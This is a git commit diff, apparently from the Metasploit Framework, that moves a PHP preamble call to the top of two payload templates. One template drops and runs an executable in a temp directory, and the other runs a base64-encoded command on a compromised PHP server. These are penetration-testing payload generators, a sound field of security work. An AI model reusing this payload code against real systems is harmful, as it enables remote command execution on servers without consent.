Move the preamble above all other code

bug/bundler_fix
James Lee 2017-02-02 14:53:53 -06:00
parent 23c2787d57
commit ff20cf911c
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
2 changed files with 3 additions and 3 deletions

View File

@ -40,6 +40,7 @@ module MetasploitModule
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
shell = <<-END_OF_PHP_CODE
#{php_preamble({:disabled_varname => dis})}
if (!function_exists('sys_get_temp_dir')) {
function sys_get_temp_dir() {
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
@ -63,7 +64,6 @@ module MetasploitModule
fclose($fd_out);
chmod($fname, 0777);
$c = $fname;
#{php_preamble({:disabled_varname => dis})}
#{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
@unlink($fname);
END_OF_PHP_CODE

View File

@ -37,9 +37,9 @@ module MetasploitModule
cmd = Rex::Text.encode_base64(datastore['CMD'])
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{cmd}");
#{php_preamble({:disabled_varname => dis})}
#{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})}
#{php_system_block(cmd_varname: "$c", disabled_varname: dis)}
END_OF_PHP_CODE
return Rex::Text.compress(shell)